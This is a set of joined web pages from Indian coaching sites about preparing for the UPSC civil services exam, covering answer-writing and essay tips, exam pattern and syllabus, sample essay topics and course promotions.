Before putting pen to paper, take a moment to thoroughly analyze the question. Identify the keywords and directives. This will help you frame your answer effectively, ensuring you stay on point and provide the examiner with what they are looking for.

Structuring Your Answers

Your answers should have a clear and logical structure. Begin with an introduction, followed by the main body of the answer, and conclude with a summary or recommendation. This structure enhances readability and comprehension.

Writing Techniques for UPSC Mains

When writing your answers, adopt a formal and objective tone. Avoid verbosity and stick to the point. Use simple and precise language to convey your thoughts. Bullet points and diagrams can be helpful for presenting information clearly.

The Role of Examples and Data

Supporting your answers with real-world examples and data is highly encouraged. It adds credibility to your response and demonstrates a practical understanding of the subject matter.

Avoiding Common Mistakes

Candidates often make mistakes such as not answering the question directly, being overly opinionated, or lacking a structured approach. Be aware of these pitfalls and steer clear of them in your answers.

Practice and Consistency

Practice is the key to improving your answer writing skills. Regularly solving previous years' question papers and mock tests can help you refine your technique. Consistency in practice is vital.

The Importance of Revision

Revision is equally significant. Regularly reviewing your notes and answers will help you retain information and maintain a fresh perspective on the subjects.

Handling Stress

The UPSC Mains can be mentally taxing. Develop stress-management techniques to stay composed during the examination. Breathing exercises, meditation, and a healthy lifestyle can be beneficial.

Staying Updated with Current Affairs

Keeping yourself updated with current affairs is essential, as it can provide valuable insights for your answers, especially in papers like General Studies.

The Art of Conciseness

Strive to be concise in your answers. Do not fill pages with irrelevant information. A well-articulated, to-the-point response is often more effective.

Mastering the UPSC Mains through effective answer-writing techniques is a journey that requires dedication and consistent effort. By following the tips and techniques outlined in this article, you can significantly enhance your chances of success in this prestigious examination.

1. Is it necessary to write in a formal tone for UPSC Mains answers?

Yes, a formal and objective tone is recommended for UPSC Mains answers to maintain clarity and professionalism.

2. How can I manage my time effectively during the examination?

Allocate specific time frames to each question and stick to them to ensure you cover all questions.

3. What should I do to avoid common mistakes in answer writing?

Avoid pitfalls such as not directly addressing the question, being overly opinionated, or lacking a structured approach in your answers.

4. How can I handle the stress associated with the UPSC Mains examination?

Develop stress-management techniques, including breathing exercises, meditation, and a healthy lifestyle.

5. Is staying updated with current affairs essential for the UPSC Mains?

Yes, staying updated with current affairs is vital, as it can provide valuable insights for your answers, especially in papers like General Studies.

SIMPLIFYING UPSC IAS EXAM PREPARATION

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Beginner’s Guide To UPSC Exam Preparation

We at Insights IAS have been guiding students with varied backgrounds and preparation levels since 2011. And with these many years of experience in dealing with issues of students, we feel it is important for any aspirant to have a very clear idea about the examination that they are preparing for. You need to take a firm decision on preparing for the UPSC exam after having analysed the avenues & prospects of a civil servant, recruitment procedure, competition level, the demand of the examination and the level of commitment required for an aspirant.

The UPSC examination needs you to know what should not be done, identify the Myths along with what should be done.

In this article, we have tried to cover all basic questions that would arise in the minds of a beginner.

What is Civil Service?

Civil service refers to the body of government officials who are employed in civil occupations that are neither political nor judicial. They are entrusted with the administration of the country and mandated to carry out the policy of the government of the day. A well-functioning civil service helps to foster good policymaking, effective service delivery, accountability and responsibility in utilizing public resources which are the characteristics of good governance. The civil service is expected to give continuity and change to the administration no matter the political scenario and turmoil affecting the country.

The importance of the Civil Service to governance stems from the following:  

• Service presence throughout the country and its strong binding character 
• The administrative and managerial capacity of the services 
• Effective coordination between institutions of governance 
• Leadership at different levels of administration. 
• Service delivery at the cutting-edge level 

What is Civil Service Examination?

Civil Service Examination popularly known as IAS examination is a competitive examination in India conducted by UPSC for recruitment to various Civil Services of the Government of India.

What is UPSC?

The Union Public Service Commission, commonly abbreviated as UPSC, is India’s premier central recruiting agency. It is responsible for appointments to and examinations for All India services and group A & group B of Central services.

What are the different Exams Conducted by UPSC?

The Union Public Service Commission (UPSC) is the central agency of the government which is responsible for conducting examinations for recruiting officers and staff into various services of the central government. It conducts the Civil Services Exam every year along with various other important exams.

What are the prospects of being a civil servant?

The Civil Service is made up of a large number of different departments, which implement government policies and deliver services to the public.

Civil Service administrators may have direct dealings with individuals and have the chance to make a real difference to people’s lives, or may conduct research, compile reports and work on policy documents.

The career prospects in civil services are many. A candidate who clears UPSC or the state level civil services examination and has completed his/her training is commissioned as an officer. 

For instance, In Central Services, the first posting is usually as a Diplomatic attaché/ Undersecretary/ Probationary IPS officer, depending on the branch chosen. In state civil services, it is referred to as Deputy Collector/Deputy Superintendent of Police/ Taxes Commissioner etc.

A Civil Servant will have the power to move and bring a systemic change in society.

On a personal front Civil Service offers job security. Special facilities include subsidized accommodation, telephone and transport facilities, medical benefits, leave travel concession, etc. Post-retirement, they get very good social welfare facilities.

However, Last but not least; one derives a great deal of satisfaction and feels privileged to make the lives of people better.

What are the Different Services under the Civil Services Examination?

There are about 19 services that come under the Civil Services Exam conducted by UPSC every year:

• Indian Administrative Service
• Indian Foreign Service
• Indian Police Service
• Indian Audit and Accounts Service, Group ‘A’
• Indian Civil Accounts Service, Group ‘A’
• Indian Corporate Law Service, Group ‘A’
• Indian Defence Accounts Service, Group ‘A’
• Indian Defence Estates Service, Group ‘A’
• Indian Information Service, Junior Grade Group ‘A’
• Indian Postal Service, Group ‘A’
• Indian P&T Accounts and Finance Service, Group ‘A’
• Indian Railway Protection Force Service, Group ‘A’
• Indian Revenue Service (Customs & Indirect Taxes) Group ‘A’
• Indian Revenue Service (Income Tax) Group ‘A’
• Indian Trade Service, Group ‘A’ (Grade III)
• Armed Forces Headquarters Civil Service, Group ‘B’ (Section Officer’s Grade)
• Delhi, Andaman and Nicobar Islands, Lakshadweep, Daman & Diu and Dadra & Nagar Haveli Civil Service (DANICS), Group ‘B’
• Delhi, Andaman and Nicobar Islands, Lakshadweep, Daman & Diu and Dadra & Nagar Haveli Police Service (DANIPS), Group ‘B’
• Pondicherry Civil Service (PONDICS), Group ‘B’

What is the minimum qualification to appear for CSE?

The candidate must hold a degree of any of Universities incorporated by an Act of the Central or State Legislature in India or other educational institutions established by an Act of Parliament or declared to be deemed as a University Under Section-3 of the University Grants Commission Act, 1956, or possess an equivalent qualification.

However, many aspirants like to take up Humanities in school as well as in college, since the pattern of the exam is based on subjects such as Indian Polity, Constitution, Geography, World News, History, etc. You can choose any degree and any subject of your choice, the only thing that matters is your interest in it, and alternate career options that you can build out of that subject and degree.

What is the pattern for UPSC Exam?

The pattern of the UPSC exam is officially divided into two stages called Preliminary and Main Examination while in practice, it is a three-stage exam. As per the IAS exam pattern, candidates who clear the Prelims are eligible for Mains and candidates who clear the Main reach the interview stage. The three stages of the IAS exam are Prelims, Mains and Personality Test.

Preliminary Exam : It has two papers of objective type and carries a maximum of 400 marks. General Ability Test (GAT) and the Civil Service Aptitude Test (CSAT). This will test the analytical skills of the candidates. All questions are objective in nature.

Mains Exam : There are two types of Papers – Qualifying Papers and Papers that will be counted for Merit. The former will consist of two language exams, one of the candidate’s choice and the other of English. The latter will consist of 9 papers including 7 merit and 2 qualifying language papers. The main exam will comprise both essay writing and objective type questions. The sum total of all papers and the score secured in the interview round will be used for the ranking of candidates.

Personality Test: An interview of 275 Marks would be taken of the candidates qualified in Main Exam. This would include Psychometric Test, Assessment Test as well as a Personal Interview. Marks obtained in the test would be added in the calculation for the declaration of the final Merit list.

How many students appear in the examination and what is the competition?

What is the syllabus for UPSC Exam ?

Syllabus for GS Paper (Prelims Paper I)

• Current events of national and international importance.
• History of India and Indian National Movement.
• Indian and World Geography-Physical, Social, Economic Geography of India and the World.
• Indian Polity and Governance – Constitution, Political System, Panchayati Raj, Public Policy, Rights Issues, etc.
• Economic and Social Development – Sustainable Development, Poverty, Inclusion, Demographics, Social Sector initiatives, etc.
• General issues on Environmental Ecology, Biodiversity and Climate Change – that do not require subject specialisation General Science

Syllabus for CSAT Paper (Prelims Paper II)

• Comprehension
• Interpersonal skills including communication skills
• Logical reasoning and analytical ability
• Decision-making and problem solving
• General mental ability
• Basic numeracy (numbers and their relations, orders of magnitude, etc.) (Class X level), Data interpretation (charts, graphs, tables, data sufficiency etc. – Class X level)

Qualifying Papers:

• Paper A: (One of the Indian Languages to be selected from the ones included in the 8th Schedule of the Constitution – 300 Marks)
• Paper – B English -300 Marks; This paper is of qualifying nature

Merit Papers:

• Paper-I Essay – 250 Marks; Can be written in the medium or language of the candidate’s choice
• Paper-II General Studies-I 250 Marks; (Indian Heritage and Culture, History and Geography of the World and Society)
• Paper-III General Studies-II 250 Marks (Governance, Constitution, Polity, Social Justice and International relations)
• Paper-IV General Studies-III 250 Marks (Economy, Development, Science and Technology, Bio-diversity, Environment, Security and Disaster Management)
• Paper-V General Studies-IV 250 Marks (Ethics, Integrity and Aptitude) 
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UPSC Exam Preparation – Where to Begin?

The Civil Services Examination (CSE) is considered to be the mother of all examinations. One may be worried about the vast syllabus and the paucity of time. However, remember, this exam is not only about knowledge. It is also about your ATTITUDE towards the exam and Emotional Quotient. 

Your attitude should be an ambitious one guided by a clear strategy and rooted in humility. Confidence must be a constant companion. As you know confidence is proportional to incremental improvements.

The preparation phase is a journey – short /long which can mould our attitude towards life. One not only gets humongous knowledge but also gets only better in the process and nothing less in any way.

The success in this examination is for those who are determined and committed and for the one who believes in themselves.

Preparation for this examination can be done by

• Taking Guidance / Coaching 

For studying who can rely on Self-Study, Insights IAS is a reliable source as we have rolled out various free initiatives catering to students who study from any corner of the world with an internet connection.

Students who feel they would need a guide throughout / coaching will have to be cautious in choosing the institutions and ensure that the services offered are according to their needs.

What books to refer to?

Firstly, start your preparation With NCERTs, The NCERT textbooks from classes six to twelve play a very significant role in IAS exam preparation. Aspirants can get basic concepts and theories from NCERT textbooks.

This is a sample booklist for UPSC CSE. Your selection of books may vary depending on your preference. However here are the books widely recommended by toppers.

Strong Fundamentals and wide knowledge are one part of your preparation. The actuality starts once you start applying the knowledge you have. Application of Knowledge comes in an array of Recollection of retained information, skills of analysis, skills of elimination (in prelims exam), proper presentation and structuring of mains answers.

All this gets developed with PRACTICE & REVISION.

Keep your sources/books minimal and revise them n number of times. 

A detailed article on How to Read Books, How to Make Note, How to Start writing Answers etc will be covered in other articles.

You must constantly improve your abilities such as working hard under pressure, enduring the long process without draining your energy, staying disciplined and updated on a regular basis, self-control with respect to avoiding going for multiple strategies or sources, sticking to a plan, and ability to talk about any issue with precision and relevance etc.

These Should be Priorities for your UPSC Preparation: 

• A timetable and strategy:  Nothing is possible without proper planning, a daily timetable and short/long term goals set. So, plan and timetable is the first pillar.
• A strong foundation and conceptual clarity:  it is important to ensure whatever we read, we understand it thoroughly. UPSC questions are very much applied, they need analysis and that can come only when we are crystal clear with our concepts of subject matter.
• Consolidation and revision: The syllabus is like a vast ocean, it is important to keep consolidating and revising it time and again. So make notes and continuously revise every now and then.
• Evaluation of Preparation:  At every point of time, you should know where your preparation stands, which is possible through self-evaluation and evaluation through tests.
• Consistency: Nothing happens without it. People who show consistency are sure shot to be rewarded, provided they work smartly
• Discussions and Answer writing: Discussions are very important; they will help in clearing your doubts & better understanding of the subject matter. Similarly, Answer writing has a very important role, knowledge without the ability to express and articulate is futile. It is important to develop the ability to deliver in 8 minutes.

If you’re looking for the best coaching for UPSC exam, Insights IAS is the right IAS coaching centre. We’re an IAS academy with a reputation for teaching excellence & UPSC rank holders. Sign up for InsightsIAS’ INSTA courses today.

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Essay Writing

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How Dimensions Are Identified In Essay Writing

• Categories Optional

Essay writing in Civil Services Exam is of 250 marks and has a lot of potential for qualifying the final exam. Despite its scoring potential in IAS Mains Exam , candidates leave Essay writing for last minute preparation. Since improvement in Essay Writing is gradual. There is no defined syllabus of it. It demands good understanding of subjects and ability to express in a certain way. We always try to focus on improving skills rather just delivering powerful lecture on particular topic. The analysis and proper understanding of dimensions in this regard remains the most significant area for marks improvement.

What is Dimension?

While talking about dimensions, in terms of physics and mathematics, it means the measurement of something on different parameters such as length, breadth or height, etc. Similarly, the dimensions of an essay are like branches of a tree. These are the ideas we get after brainstorming over a particular topic. We write down all the dimensions that come to our minds and choose only those which are relevant for the essay writing . The chosen dimensions are used further to set the context of the Essay Writing .

To understand it better, we may take an example:

The whole process leads to a set of ideas that may have come to your thought process. You must be aware of the fact that you will always be dealing with problems and solutions. Above all you are evaluating ideas and solutions as you write, and you must select ideas that are relevant, that are at the right level of generalization, and that are ranked logically for the topic that you are writing about. Candidates are assessed on the basis of their ability to present the solution to a problem. In fact, every topic is really a problem in itself. If it were not a problem, it would not be worth asking about.

Ways to select Dimensions

An essay is structured by giving dimensions and these dimensions are further used to set the context of essay writing. You may give any number of dimensions to an essay or chose any categorisation of thoughts based on your knowledge. Generally, dimensions of an essay writing follow a certain set of categorization which is subject to change according to the demand of the essay Writing .

Some of these categories are given below :

• Past, present and future
• Self, family, society, nation and world
• Environment, economy, technology, polity, law, governance, education, profession, religion
• Description/ explanation, supportive arguments, counter arguments (through negation), and synthesize your own way forward (chance to disagree).

We can understand the creation of dimensions by using the above given criteria by using implementing with the help of essays.

Selection of Dimensions by Examples

Example 1: topic-trust is the foundational principle that holds in all relationships., deciding the dimensions.

After writing the introduction write down all the possible dimensions of the essay. Then decide the set of category to write the dimensions based on your comfort and depth of the knowledge on those particular dimensions. For example, few students may have better knowledge and can do comparative analysis of the dimensions based on self, family, society, nation and world. On the other hand, some of you might chose the dimensions on Environment, economy, technology, polity, law, governance, education, profession and religion to set the context of essay.

Try to follow dimensions which give flow to the essay and avoid using mix of set of these categories as it may make essay look unstructured and out of context.

Copy of IAS Topper Khushboo Lathar (AIR 98, CSE 2018) is the perfect example of dimensions analysis in essay writing:

Click here for full copy

For this essay, one set of dimensions are chosen to write it.

• International

Example 2: Topic - Globalization

Similarly, if we are writing about Globalization we may choose any number of dimensions related to globalization.

Thus the dimensions in essay are the first and foremost requirement to give an influential touch to an essay in UPSC Mains Exam . For a better understanding regarding the dimensions of essay the following test copy of IAS topper Khushboo Lathar (AIR 98, CSE 2018) gives a glimpse of dimensions in essay:

Verifying, please be patient.

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Essay Syllabus

In this article, we will discuss the UPSC essay syllabus and its importance in the preparation for the prestigious Civil Services Examination. The essay paper is a vital component of the UPSC mains exam, and it evaluates a candidate’s ability to express their thoughts in a concise and coherent manner. We will explore the structure and format of the essay paper, the types of topics that usually appear, and the approach that candidates should adopt while attempting the essay. By the end of this article, you will have a clear understanding of the IAS essay syllabus and how to prepare for it effectively.

Importance of Essay Paper

Aspiring candidates preparing for the UPSC IAS examination must pay close attention to the Essay Paper section. It holds significant weightage and plays a vital role in determining the candidate’s overall rank. You must dedicate time and effort to develop this skill, as the Essay Paper is a reflection of your critical analytical and comprehensive aptitude. This paper evaluates your presentation skills, creativity, and thought process. Moreover, it tests your ability to articulate your thoughts coherently and succinctly. So, start working on your writing skills from today to make the most of this crucial paper.

Syllabus Overview

The syllabus for the essay paper is not specifically defined . Aspiring civil servants preparing for the highly competitive UPSC IAS exam must focus their attention on the essay paper. This is where candidates can showcase their writing skills and analytical abilities.

The essay paper is divided into two sections, each consisting of four topics. Candidates are required to write two essays in a span of three hours. The essays carry a total of 250 marks and are a crucial part of the selection process. It covers a wide range of topics from socioeconomic issues, to political and philosophical musings.

However, it is important to note that candidates are not expected to be experts in any particular subject. Rather, the essay paper tests their ability to articulate their thoughts and opinions. It is crucial that candidates start preparing for the essay paper well in advance, paying careful attention to the type of essays and common mistakes to avoid.

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Also Read, UPSC 2023

Types of Essays

When it comes to the UPSC Essay Syllabus , it’s crucial to understand the types of essays you’ll be asked to write. As such, you must know the different types of essays that are tested in the examination, such as Informative essays, Descriptive essays, Narrative essays, and Persuasive essays. Each type has its unique writing style, skill set, and format to adhere to.

Thus, mastering each essay type is important to score high marks in the exam. While an informative essay highlights the positive and negative points of the given topic, a descriptive essay must focus on describing the topic. The narrative essay must follow a story-style narration while the Persuasive essay must be written in a way to convince the reader about the given topic.

Therefore, a deep understanding of the types of essays is necessary to excel in the UPSC IAS Exam.

Topics for Essay Writing

The UPSC Essay paper is an important part of the Civil Services Examination. As a part of the UPSC essay syllabus , candidates need to write two essays for the examination. The essays are supposed to be on topics of national and international importance, relevant social, economic, and political issues, cultural, historical and geographical significance, and contemporary issues of interest.

The topics for essay writing can range from the economy, politics, education, health, women empowerment, environmental issues, human rights, current affairs, science, technology, and more. It is advisable to read newspapers and books to keep oneself updated with the latest developments and possible essay topics. Additionally, candidates can also refer to previous years’ question papers to understand the nature of the questions and topics that are frequently asked.

Candidates should choose a topic that they are familiar with and express their thoughts and opinions in a coherent and structured way. The essay should be well-researched, free from grammatical errors, and should have a clear introduction, body, and conclusion. By choosing the right topic and writing an impressive essay, candidates can score well on the UPSC IAS Essay paper .

Essay Writing Tips

Here are some tips for candidates to excel in the essay writing section:

• Understand the topic: It’s important to read and comprehend the essay topic thoroughly. Ensure that you understand the question’s intent, the tone of the essay, and the arguments that you need to present.
• Prepare an outline: Creating an outline before writing helps the writer organise their thoughts and arguments logically. It ensures that the essay is structured and coherent.
• Write in a simple and lucid language: UPSC exams are not meant to test your vocabulary. Therefore, try to write in simple and clear language.
• Stick to the word limit: The UPSC sets a word limit for each essay question. Exceeding the limit can result in a deduction of marks. Therefore, it is crucial to practice writing essays within the stipulated word limit.
• Provide examples and facts: To support your arguments, use real-life examples and factual data to reinforce your views.

By following these tips and practising regularly, aspiring candidates can improve their essay-writing skills, making it easier to crack the UPSC exam successfully.

How to Prepare for an Essay Paper

The essay paper is an integral part of the UPSC IAS exam, and it requires a different level of preparation compared to other papers. In order to ace the essay paper, it is important to have a clear strategy and methodical approach.

First and foremost, it is essential to understand the types of essays that might appear in the exam. This will help in creating a plan for essay writing and practicing accordingly.

Another important aspect is staying updated on current affairs and trending topics. Keeping oneself informed about world events and happenings helps in generating ideas and content for the essay.

It is also crucial to focus on improving language skills and creative thinking. Reading widely, practicing writing every day, and taking mock essay tests can help in enhancing these skills.

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When it comes to time management, it is recommended to allocate a fixed amount of time for brainstorming, outlining, and writing the essay. This helps in maintaining a structured and organized approach.

Lastly, it is crucial to avoid common mistakes like using too many quotes, memorizing essays, or not staying relevant to the topic. These mistakes can be easily avoided by focusing on the guidelines and practicing regularly.

Overall, preparing for the essay paper requires focus, dedication, and a structured approach. By following these tips, one can improve their chances of acing the essay paper and moving closer to their dream of becoming an IAS officer.

Common Mistakes to Avoid in Essay Writing

UPSC essay writing is an important component of the civil services examination. However, many students make some common mistakes while writing their essays that can prove detrimental to their scores. Here are a few errors to avoid when writing your UPSC essays :

• Lack of clarity: One of the most common mistakes that students make is writing unclear or ambiguous essays. Ensure that the language and ideas that you use are clear and concise.
• Overuse of quotes: Many students use too many quotations in their essays, which makes them sound less original. Try to use quotes sparingly, and only when they add significant value to your essay.
• Poor structure: A well-structured essay requires an introduction, several paragraphs supporting your arguments, and a conclusion. Ensure that your essay has a clear and logical structure.
• Lack of relevance: Many students write essays that are not directly relevant to the question asked, which can result in a reduced score. Make sure you understand the question and write an essay that is directly relevant to it.
• Poor time management: UPSC essay writing requires a student to demonstrate their ability to write coherently and without errors within a given period. Students must manage their time effectively, allowing ample time for each paragraph, revision, and proofreading.
• Lack of examples: Candidates should use examples from real life, which strengthens their arguments and provides more depth to their essays.

Avoid these common mistakes during your UPSC essay writing , and you are one step closer to achieving a high score that will make you proud.

Frequently Asked Questions (FAQs):-

Q1. Which type of essay comes in the IAS exam?

Ans: The four types of essays that come in the IAS exam are Informative essays, Descriptive essays, Narrative essays, and Persuasive essays.

Q2. How to write a UPSC-level essay?

Ans: Tips to write UPSC Essay are given in the article above.

Q3. What is a good score for a UPSC essay?

Ans: An average score falls within the range of 110-125. However, exceptional essays can receive marks as high as 150-160.

Q4. How long is the UPSC essay paper?

Ans: The candidate is to write two essays in a span of 3 hours with a word limit of 1000-1200 words per essay. There are two sections which contain 4 topics each and out of which the candidate has to pick a single topic from each section to write an essay on.

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UPSC Essay Topics - Important Essay Topics for UPSC Mains 2023

By vajiram & ravi.

Essay Course for UPSC

UPSC CSE Mains 2023 Essay Question Paper

UPSC Mains Optional Test Series

Mentorship Program for UPSC 2024

Understanding UPSC Essay Topics holds significant importance as it evaluates the candidate's ability to analyse, present arguments, and communicate effectively. In this article, we will explore the diverse range of UPSC essay topics, their significance, and essential tips to excel in this section. Get ready to enhance your writing and analytical skills and make a strong impression on the evaluators with well-crafted essays.

UPSC Essay Paper

The Essay paper in the UPSC Mains examination requires candidates to write multiple essays , each on a different topic, chosen from a given list of options. The essay topics for UPSC cover a wide range of issues, including social, economic, political, cultural, and philosophical aspects, both national and international.

The essay paper holds significant weightage in the UPSC Mains examination, contributing 250 marks out of the total 1750 marks . Scoring well in this section can have a considerable impact on the overall ranking and selection for the coveted civil services.

Weekly UPSC Essay Topics By Vajiram & Ravi

The UPSC Essay Paper is an opportunity for candidates to demonstrate their proficiency in expressing ideas and analysing complex issues. Vajiram & Ravi Pensive-Weekly Essay Writing Programme provides you with two Essay Topics every Saturday based on the previous year's question papers and the changing trends analysis. You can submit your Essay for peer evaluation on vajiramandravi.com. This will help you nourish your writing skills, give you clarity of thought, and build the capacity to express opinions in a logical and coherent manner.

Important Essay Topics for UPSC 2023

The purpose of the essay paper is to assess the candidate's ability to critically analyse a topic, present well-structured arguments, and communicate their ideas effectively. It also evaluates their knowledge of various issues, their clarity of thought, and their capacity to express opinions in a logical and coherent manner.

Some of the Important Essay Topics to prepare for the UPSC Mains Examination 2023 are:

• Gender Equality
• Environment/Urbanization
• Economic Growth
• Federalism/Decentralization
• Agriculture
• Economics 

UPSC Essay Topics on Philosophy

Every year, UPSC typically provides you with two or more essay topics centred around philosophical thoughts, Indian philosophical schools, or quotes from notable personalities. To effectively address these philosophical topics, you should refer to Philosophy Books to gain a foundational understanding. Here is a list of UPSC Essay Topics on Philosophy :

• Everything comes to him, who hustles while he waits.
• We are always blind as we want to be.
• You cannot step twice in the same river.
• A disciplined mind brings happiness.
• The price of Greatness is Responsibility.
• People would rather Believe than Know.
• Mind - A beautiful Servant? Or a dangerous Master?

UPSC Essay Topics on Art and Culture

The UPSC Essay Topics related to Indian society, art, and culture cover a wide range of subjects, offering great diversity. To gain knowledge about the static content on these topics, you should rely on fundamental books on society, as recommended for the exam. Here is a list of UPSC Essay Topics on Indian Art and Culture :

• Culture changes with economic development.
• Culture is what we are, Civilization is what we have.
• Social reform is a myth if places of worship are open only to all castes and not to all genders.
• Impact of Globalization on Indian Art and Culture.
• Caste System - India’s Enduring Curse.
• Godmen - A Threat to Indian Art and Culture?

UPSC Essay Topics on Science and Technology

UPSC essay topics on Science and Technology can largely be addressed through current affairs. You may also benefit from consulting a Science and Technology Book for UPSC to compose a comprehensive and well-rounded essay. Here are some UPSC Essay Topics on Science and Technology:

• Deglobalisation is good for the world.
• Science is organised Knowledge. Wisdom is Organised life.
• Technology is a Weapon against Poverty.
• Prioritising Education Technology for Global Growth.
• Technology is the silent factor in International Relations.
• Scientific and Technological Progress cannot be equated with Human Progress.

UPSC Essay Topics on Education

Education stands as one of the preferred UPSC Essay Topics, with an essay related to this subject often appearing in the paper each year. To tackle this topic effectively, you should stay abreast of Current Affairs , incorporating significant changes and advancements in the field. Let's explore some of the Essay topics for UPSC centred around education:

• Self Education is a lifelong curiosity.
• Education Breeds Peace.
• Education is a progressive discovery of our own ignorance.
• Education must also train one for quick, resolute and effective thinking.
• Schooling is not Education.

UPSC Essay Topics on Polity and Governance

To comprehensively address Polity and Governance topics, you should acquire fundamental knowledge from Polity Books for UPSC and Current Affairs. These resources offer static information about relevant issues and their historical context, which proves valuable while writing UPSC Essay Topics on Polity. Here are some Essay Topics on Polity and Governance:

• The Role of Politics in Development.
• Should Youth in India Consider Politics as a Career?
• Art, Freedom and Creativity will change society faster than politics.
• The politics of Identity is the Politics of the Weak.
• People should not be afraid of their Government. The Government should be afraid of its people.
• Government Surveillance - Good or Bad?

UPSC Essay Topics on Economy

Essays concerning economic growth are frequently included in the Essay Paper. To tackle these topics effectively, you should refer to Economy Notes for UPSC to gain a comprehensive understanding. Once the fundamentals are grasped, you can enhance their essays by incorporating examples, data, and statistics to create a multidimensional perspective. Here is a list of UPSC Essay Topics on Economy:

• We don't have to sacrifice a Strong Economy for a Healthy Environment.
• India, a $5 trillion Economy - Dream or Reality?
• Digital Economy: A leveller or a source of Economic Inequality?
• Innovation is the key determinant of social welfare and economic growth.
• Labour Reforms in India and its Role in Economic Growth.

UPSC Essay Topics on Social Issues

Social issues are a significant aspect of the UPSC essay paper, reflecting the candidates' understanding of societal challenges and their ability to propose viable solutions. These essays provide a platform for candidates to analyse, critique, and suggest measures for pressing social concerns. Topics related to social issues in the UPSC Essay paper may include:

• Inclusivity and Plurality are the hallmarks of a Peaceful Society.
• A Gender-sensitive Indian Society is a prerequisite for Women and Child Empowerment.
• The weaker sections of Indian Society - are their Rights and Access to Justice getting Better?

Previous Year UPSC Essay Topics

Practising previous year's essay topics will help you become familiar with the UPSC exam pattern , word limit, and the types of essay questions frequently asked in the Mains Examination. Analysing past essay topics will also allow you to identify recurring themes and trends, enabling you to prioritise their preparation accordingly. Regular practice with past essay topics will instil confidence in you, helping you feel more comfortable and prepared for the actual exam.

• Forests are the best case studies for economic excellence.
• Poets are the unacknowledged legislators of the world.
• History is a series of victories won by the scientific man over the romantic man.
• A ship in the harbour is safe, but that is not what a ship is for.
• The time to repair the roof is when the sun is shining.
• A smile is the chosen vehicle for all ambiguities.
• Just because you have a choice, it does not mean that any of them has to be right.

Tips to Excel in UPSC Essay Paper

• Understand the Topics: Thoroughly comprehend the essay topics, including the keywords and instructions. Choose a topic that aligns with your strengths and interests.
• Plan and Structure: Devote some time to plan your essay. Create an outline and organise your thoughts in a structured manner, with a clear introduction, body, and conclusion.
• Be Objective: Present balanced arguments and avoid a biased or one-sided approach. Consider multiple perspectives and present a holistic view.
• Provide Examples and Evidence: Support your arguments with relevant examples, data, quotes and evidence to strengthen your essay.
• Maintain Clarity: Write in a clear and concise manner. Use simple language and avoid jargon or overly complex vocabulary.
• Practice Regularly: Regular practice is essential to improve Essay writing skills. Write essays on diverse topics to enhance your versatility.
• Time Management: Allocate appropriate time for planning, writing, and revising each essay to manage time effectively during the examination.
• Revise and Edit: Review your essays for coherence, grammar, and structure. Make necessary edits to refine your work.

FAQs on UPSC Essay Topics

What are the important UPSC Essay Topics?

Here is a list of UPSC Essay Topics asked in Mains Examination previously:

• Culture is what we are, civilization is what we have.
• Simplicity is the ultimate sophistication.
• What is research but a blind date with knowledge?
• Best for an individual is not necessarily best for society.
• Wisdom finds truth.
• Ships don’t sink because of water around them, ships sink because of water that gets into them.
• Patriarchy is the least noticed yet the most significant structure of social inequality.
• Technology as the silent factor in international relations.

How do I Prepare for the UPSC Essay?

To prepare for the UPSC essay, focus on understanding the essay syllabus and past topics to identify recurring themes. Regularly practise writing essays on various topics to improve your writing skills and time management. Structure your essays with a clear introduction, main body, and conclusion.

Which is the best source to practise UPSC Essay Topics?

The best sources to prepare Essay for UPSC include official UPSC materials, newspapers, and magazines like The Hindu, Yojana , and Kurukshetra for current affairs, standard books on diverse subjects, government reports and publications, online platforms like PIB and PRS India, UPSC previous year papers for understanding the exam pattern, and regular practice of essay writing on various topics.

© 2024 Vajiram & Ravi. All rights reserved

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Admissions are open to the ClearIAS Online Courses which are valid until UPSC CSE 2025, 2026, and 2027.

1. UPSC Online Coaching: Target CSE 2025 – ClearIAS Prelims cum Mains (PCM) Course

Target UPSC CSE 2025

2. UPSC Online Coaching: Target CSE 2026 – ClearIAS Prelims cum Mains (PCM) Course

Target UPSC CSE 2026

3. UPSC Online Coaching: Target CSE 2027 – ClearIAS Prelims cum Mains (PCM) Course

Target UPSC CSE 2027

New to ClearIAS.com? Find how we help you clear the IAS/IPS/IFS exam!

ClearIAS is one of the best user-friendly websites for UPSC Exam preparation. ClearIAS website is used by more than 1 million aspirants every month.

The following are some of our most popular resources:

• ClearIAS programs  – Know about all ClearIAS programs for UPSC Prelims, Mains, and Interview.
• Free Resources – Free Study Materials, Mock Exams, or Videos for Beginners
• Premium Resources – Online Classes, Mock Exams, Books, and PDFs for Serious Aspirants
• ClearIAS Study Materials – Easy-to-Learn online notes from ClearIAS about current and conventional topics.
• UPSC Syllabus – ClearIAS Notes which explains each topic in the UPSC CSE Prelims and Mains syllabus.
• UPSC Guidance – Learn what to do and what not to do for UPSC Civil Services Exam.
• IAS Books – Buy the books recommended by toppers online.
• ClearIAS ebooks (PDFs) – Fill up the gaps in your learning by downloading ClearIAS PDFs.
• Downloads – The most important notes of ClearIAS are listed in the easy-to-learn order.
• ClearIAS sitemap  – To understand the website structure.
• ClearIAS Apps – ClearIAS Mobile Apps (Android and iOS)
• ClearIAS blog – Check out our latest blog articles and study materials.
• Important Updates – Important Updates from ClearIAS

Beginner’s Guide: Know about IAS/IPS/IFS

Indian Administrative Service (IAS) is the dream career of millions of aspirants in the country.

The same is the case with services like Indian Police Service (IPS) , Indian Foreign Service (IFS) etc.

Recruitment to about 20 services including IAS, IPS, IFS etc. is conducted via a common exam called the UPSC Civil Services Exam (CSE) .

Also read: ClearIAS Junior: Civil Service Foundation Course for School Students Who Aspire to Become IAS, IPS, or IFS Officers

Beginner’s Guide: Know about UPSC

Union Public Service Commission (UPSC) is the Central Authority that takes care of the entire recruitment process.

Important Links for UPSC Aspirants:

• UPSC Results

How should you start IAS preparation?

First of all, you should decide how will you prepare for UPSC CSE – whether it will be entirely by self-study, by practising mock exams or by attending expert classes.

In all cases, ClearIAS can help.

ClearIAS provides online study materials , online mock exams , and online classes .

For Government Services like IAS, IPS, IFS etc., the earlier you get into the service the better will be your career prospects and promotions.

ClearIAS values time as a crucial resource and all our efforts are directed at guiding candidates to succeed with minimum time.

Which approach you should choose for your UPSC preparation depends on how fast you want to become an IAS, IPS, or IFS officer.

This question is also dependent on the candidates’ age, financial capacity, and value perception of time.

UPSC CSE Preparation: 3 Approaches

There are three popular approaches adopted by UPSC aspirants.

We will discuss the positives and negatives of each of the approaches.

Finally, we will also see what ClearIAS recommends.

Approach 1: Self-Study

